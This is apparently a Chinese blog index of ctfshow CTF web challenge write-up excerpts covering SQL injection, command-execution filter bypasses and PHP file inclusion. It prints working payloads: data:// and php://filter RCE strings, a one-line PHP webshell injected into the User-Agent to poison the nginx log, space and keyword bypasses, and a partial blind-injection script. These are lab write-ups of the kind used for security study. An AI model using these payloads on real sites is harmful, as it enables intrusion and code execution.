ctfshow
chin”
成为像Y4师傅一样厉害 思维灵活的人
展开
-
CTF萌新日记——绕过
CTF萌新日记——绕过原创 2022-07-19 02:38:02 · 1074 阅读 · 0 评论 -
Ctfshow Web入门 命令执行 Web31-74
CtfShow Web入门-命令执行感谢Y4师傅!看Y4的Wp真的学到好多!Web31过滤条件: flag\system\php\cat\sort\shell\小数点\空格\单引号执行passthru()查看flag绕过cat使用tac more less head tac tail nl od(二进制查看) vi vim sort uniq绕过空格用%09 <> ${IFS} $IFS$9 {cat,fl*} %20flag绕过可以用通符代替执行echo查看flagecho原创 2021-10-21 10:57:34 · 2758 阅读 · 0 评论 -
Ctfshow python for test mysql
import threadingimport requestsurl1 = "http://fe9bdd81-5686-4588-a6b2-37f03fda52f3.challenge.ctf.show:8080/index.php?id=1'/**/union/**/select/**/1,"def dataname(url): c='' for j in range(1,5): for i in range(35,127): ur=ur原创 2021-06-06 22:46:05 · 99 阅读 · 0 评论 -
Ctfshow web入门-php特性-web89-91 WP
web89查看代码preg_match过滤0-9,即发现有0-9,就输出no no no然而intval函数的作用是返回变量的整数值,两者相互矛盾这里可以通过数组绕过,构造payload: ?num[]=成功获取flagweb90查看源码,第一个if是验证num是否被设置,第二个if验证num是否是4476,如果是,就输出no no no ,第三个if验证num取整后是否等于4476看到取整,还不好做吗~,直接输入小数取整绕过第二个if的验证 payload?num=4476.1原创 2021-05-25 07:15:11 · 1098 阅读 · 0 评论 -
Ctfshow web入门-web79-web81 WP
web79查看源码发现没有过滤,直接php伪协议包含知识点——php伪协议 ,伪协议有很多,文件包含可以用php://filterpayload: ?file=php://filter/read=convert.base64-encode/resource=需要包含的文件执行,获取到base64加密之后的字符串然后解码web80查看代码,发现str_replace过滤了php,这个可以用大小写绕过,但是这里不推荐,因为能data命令执行知识点——data命令执行: data:text/原创 2021-05-23 12:37:38 · 1421 阅读 · 0 评论 -
Ctfshow web入门-命令执行web47-50 WP
查看源码发现又是熟悉的黑洞,这题过滤了的参数都可以用以下几个代替tac 代替 cat< 代替 空格‘’分隔 代替 *能代替的新命令被过滤的命令taccat<空格“”*注意:<不能和?连在一起用构造payload: ?c=tac<fla''g.php%26%26lsweb48按照上一题的逻辑,查看有没有我们需要用到的参数被过滤了…仔细分析下来之后发现没有参数被过滤,这个时候就可以复制上一题的payload到本题执行.原创 2021-05-20 22:36:52 · 443 阅读 · 1 评论 -
个人对部分过滤的见解
关于空格,你需要知道的几件事情:在bash下,可以用以下字符代替空格< 、<>、{ }、%20(空格URL)、%09(tabURL)、`$IFS`、$IFS$9、 ${IFS}注意:代替空格的时候<和?是不能连用的关于分隔:通配符*表示代替所有字符通配符?表示代替一个字符在两个都被过滤的情况下,可以考虑使用‘’,用来代替通配符,但是‘’的作用不是通配,而是分割,因为preg_match过滤的是一个完整的字符串,如果cat fla''g ,函数会觉得是cat fla g原创 2021-05-18 20:23:00 · 116 阅读 · 0 评论 -
Ctfshow web入门-web45 WP
web45关于黑洞的传送门传送门1传送门2preg_match函数多了对空格的过滤空格可以用${IFS}和%0a代替绕过过滤常规的后面一个变量写入黑洞,直接构造payload:http://9e400eba-95d3-409c-b50a-451ff5a2d4a2.challenge.ctf.show:8080/?c=ls%26%26ls用${IFS}代替空格,构造payload...原创 2021-05-18 20:12:25 · 229 阅读 · 0 评论 -
Ctfshow web入门-web44 WP
web44preg_match函数多了对flag的过滤,flag可以用通配符绕过过滤system函数还是一如既往的将传入参数的后面一个写入黑洞,不知道如何操作的小伙伴可以查看作者这两篇WP,都讲述了WP的具体用法传送门1传送门2构造payload查看当前目录下的文件http://cd9c951d-4ff3-4a90-ba3e-46bf02d00699.challenge.ctf.show:8080/?c=ls%26%26ls有回显之后查看flag...原创 2021-05-18 20:06:01 · 156 阅读 · 0 评论 -
Ctfshow web入门-web43 WP
web43查看原码:preg_match 过滤了cat指令,cat指令可以用nl tac等等代替然后system()函数就是常规的命令执行,将输入的变量写入黑洞,这种情况老套路直接双写就可以了关于双写:怕还是有小伙伴不懂,看不懂的小伙伴请看下表2>/dev/null意思就是把错误输出到“黑洞”>/dev/null 2>&1默认情况是1,也就是等同于1>/dev/null 2>&1。意思就是把标准输出重定向到“黑洞”,还把错误输出原创 2021-05-18 19:46:08 · 500 阅读 · 0 评论 -
Ctfshow web入门-web42
web42检查代码,发现代码似乎很简单?只需要输入命令执行,但是实际执行之后的小伙伴会发现如果只是输一个指令,回显都是空白,原因很简单。在给变量c赋值的语句下面的语句”>/dev/null 2>&1“ ,可以将其理解成将输入的数写入黑洞2>/dev/null 意思就是把错误输出到“黑洞”>/dev/null 2>&1默认情况是1,也就是等同于1>/dev/null 2>&1。意思就是把标准输出重定向到“黑洞”,还把错误输出2原创 2021-05-18 19:00:31 · 1334 阅读 · 3 评论 -
Ctfshow web入门-web38 WP
查看源代码发现对比上一题只是多了对php的过滤,对php的过滤影响到的是data协议rce时<?php语句的构造不过<?php system(‘ls’);?>是可以简写将php省略的 <?php system(‘ls’);> 等于 <?=system(‘ls’);?>这是作者的一个小实验:构造payloadhttp://f5d8e458-5d09-4ed5-aba4-98ddda953a5b.challenge.ctf.show:8080/?c=data原创 2021-05-18 18:34:00 · 349 阅读 · 0 评论 -
Ctfshow web入门-web37 WP
首先查看源代码代码的意思是文件包含获取到的变量c的值,但是对变量c又有过滤,要求获取到的c中不包含flag这个地方可以用data协议rcedata协议: text/plain,<?php system(‘命令’);?>构造payload :http://1332de51-f763-40f4-b931-c2ffaac051e5.challenge.ctf.show:8080/?c=data:text/plain,<?php system('ls');?>查看当前目录原创 2021-05-18 18:29:18 · 480 阅读 · 0 评论 -
Ctfshow web入门-web35-36 WP
web35分析源码发现对括号进行过滤,那么只能使用不带括号的函数,include $_POST[a]进行文件包含,看到能文件包含之后,可以尝试使用data协议命令执行,虽然data协议的命令执行写过很多遍了,但是还是再要提一下data:text/plain,<?php system("命令");?>构造payload: ?c=include%a$_POST[a]?> POST:a=data:text/plain,<?php system('tac fla*');?>原创 2021-05-17 23:06:15 · 392 阅读 · 0 评论 -
Ctfshow web入门-web34 WP
web34的套路和web33一样,解题姿势也一样,当然也可以换一种解法,比如说日志包含、文件包含、data协议命令执行日志包含解法:首先查看preg_match函数过滤的参数还是老套路,过滤括号,那么只能用不带括号的函数include了,include $_POST[a]分号被过滤之后可以用?>代替尝试包含日志日志包含成功,接下来就是往日志写马了用firefox访问然后burpsuite抓包,然后再user-agent里面输入一句话木马<?php eval($_POST[a])原创 2021-05-17 22:55:13 · 305 阅读 · 0 评论 -
Ctfshow web-web31
首先查看源代码,还是preg_match函数,这次过滤了flag|system|php|cat|sort|shell|.| |’这次过滤了以上函数多了对单引号的过滤,单引号的过滤是小问题,因为<?php eval($_POST['a']);?>中单引号是可有可无的<?php eval($_POST['a']);?> = <?php eval($_POST[a]);?>而对于system的过滤,则可以用其他php的命令执行函数代替,比如passthru构造原创 2021-05-16 20:04:18 · 344 阅读 · 0 评论 -
Ctfshow web入门-web33
Ctfshow web入门-web33 WP拿到url首先分析代码,发现preg_match函数的过滤条件又多了两个/flag|system|php|cat|sort|shell|.| |’|`|echo|;|(|"因为这题和web32一样,过滤了括号,所以有括号的函数肯定是不能用了,只能尝试文件包含,用include函数,payload: http://url/?c=eval($_POST[a])?> 配合POST提交a的数据文件包含成功,用php伪协议查看flag拿到base6原创 2021-05-13 20:59:53 · 573 阅读 · 0 评论 -
Ctfshow web入门-web30 WP
拿到url首先查看源码,发现源码对比上一题只是多了个对输入值system的过滤preg_match函数过滤system函数,但是php中执行方法的函数有很多,比如passthru、exec,shell_exec等 ,注意exec对执行的结果不输出passthru和system的作用是一样的,解题的姿势有很多,本文简述几种解题方式解法一:这里用exec执行函数,虽然exec对执行结果不输出,但是不代表不可以查看flag,这里用函数执行复制(将flag复制给1.txt,直接用浏览器访问1.txt),原创 2021-05-13 20:31:51 · 1101 阅读 · 2 评论 -
Ctfshow web入门-web32
Ctfshow web入门-web32 WP拿到url,首先查看源码过滤了以下字符串flag|system|php|cat|sort|shell|.| |’|`|echo|;|(过滤了空格可以用${IFS}和%0a 代替,分号可以用?>代替但是过滤了括号之后就不能用带有括号的函数,php中include是可以不带括号的函数,和web31一样,这里需要用文件包含所以构造的Payload是payload:http://url/?c=include%0a$_POST[1]?>原创 2021-05-13 20:24:36 · 1733 阅读 · 0 评论 -
Ctfshow web入门-web29 WP
首先查看代码函数解析:Preg_match是正则表达式,/i是不敏感查找,也就是忽略大小写,该函数在这的作用是检查GET方法传入的值内有没有字符串flag,若没有则执行eval函数Eval 函数执行php方法,比如里面可以执行system()函数,首先传入一个system方法,里面写system(‘ls’);Payload :http://af32ff90-2650-4639-972b-ceffa0baaa3f.challenge.ctf.show:8080/?c=system(ls);接下原创 2021-05-12 23:08:42 · 188 阅读 · 0 评论 -
Ctfshow web-web6 WP
Ctfshow web-we6 WP进去看见一个login界面,看上去有点眼熟,好像做过,但是尝试之前做过的方法,回显始终是sql infect error,这样的回显表示输入的值中有非法字符,最后尝试下来是空格被顾虑了,用/**/代替原来 union select 1,2,3Web6: union/**/select/**/1,2,3这样的话,传统艺能手工注入判断显示位获取当前连接的数据库获取数据库中所有表的表名:Select table_name from informatio原创 2021-05-12 20:38:32 · 475 阅读 · 1 评论 -
Ctfshow web-web7 WP
首先讲一下数据库的判断基础知识:select ascii(substr(database(),1,1))=119 ;上面这段话的意思,可以分布理解1、 首先是ascii()函数 , 熟悉mysql的应该知道,这是查询字符ascii码的2、A的ascii码是65 a的ascii码是973、Substr()的函数作用是截取,有点类似于limit的作用 Substr(需要截取的字符串,开始位置,截取长度)4、举个例子,当前我选中mysql数据库,尝试用select substr原创 2021-05-12 19:37:01 · 468 阅读 · 1 评论 -
CTFshow web-web3 WP
CTFshow Web-Web3文件包含+命令执行(伪协议)Php://filter/read=convert.base64-encode/resource=文件名用php伪协议读取经过base64加密之后的文件php://inputphp://input可以访问请求的原始数据的只读流,将请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。注:当enctype=”multipa原创 2021-05-11 21:01:03 · 705 阅读 · 0 评论 -
CtfShow web-web4 WP
进入WEB4 发现好像和 web3差不多,尝试文件包含可行,但是用php://input 回显就不可行了,接下来尝试包含日志用burp suite抓包发送到repeater ,在url后面加上/var/log/nginx/access.log(nginx访问日志)可以看到回显的内容中有http user-agent,接下来将一句话木马写入到user-agent中,在user-agent后面加上一句话木马,密码是a <?php @eval($_POST[‘a’]);?>接.原创 2021-05-11 20:56:24 · 268 阅读 · 2 评论 -
CtfShow web-web5 WP
首先看到的是代码代码中打红框的一段是要重点关注的1、 GET方式,分别将收到的v1 v2 赋值给v1 v22、 If判断 isset判断是都有值,变量是否设置值3、 第二个if是判断v1的值是不是md5,ctype_alpha 判断变量是不是有英文字母,因为md5肯定是有英文字母的4、 第三个if是判断v2的值是不是纯数字5、 第四个if用于判断v1的值是不是等于v2 ,在md5中0e开头的值,默认是相等的,v1是字符 v2是数字,可以理解成md5碰撞举个例子 QNKCDZO 和 24061原创 2021-05-11 20:24:44 · 229 阅读 · 3 评论 -
Ctfshow web-web2 WP
Ctfshow-Web-Web2 WPCtfshow Web2 手工1、 尝试万能密码然后尝试查看显示位查看当前连接的数据库查询当前数据库下面的表面名接下来查询字段名最后查询flag上面是手工爆破,要点是查询数据库内的表名和数据库内的字段名查询数据库内所有表名的语句:select table_name from information_schema.tables where table_schema=“你想查找的数据库名”查询表中所有字段的语句:select column原创 2021-05-10 23:03:19 · 638 阅读 · 1 评论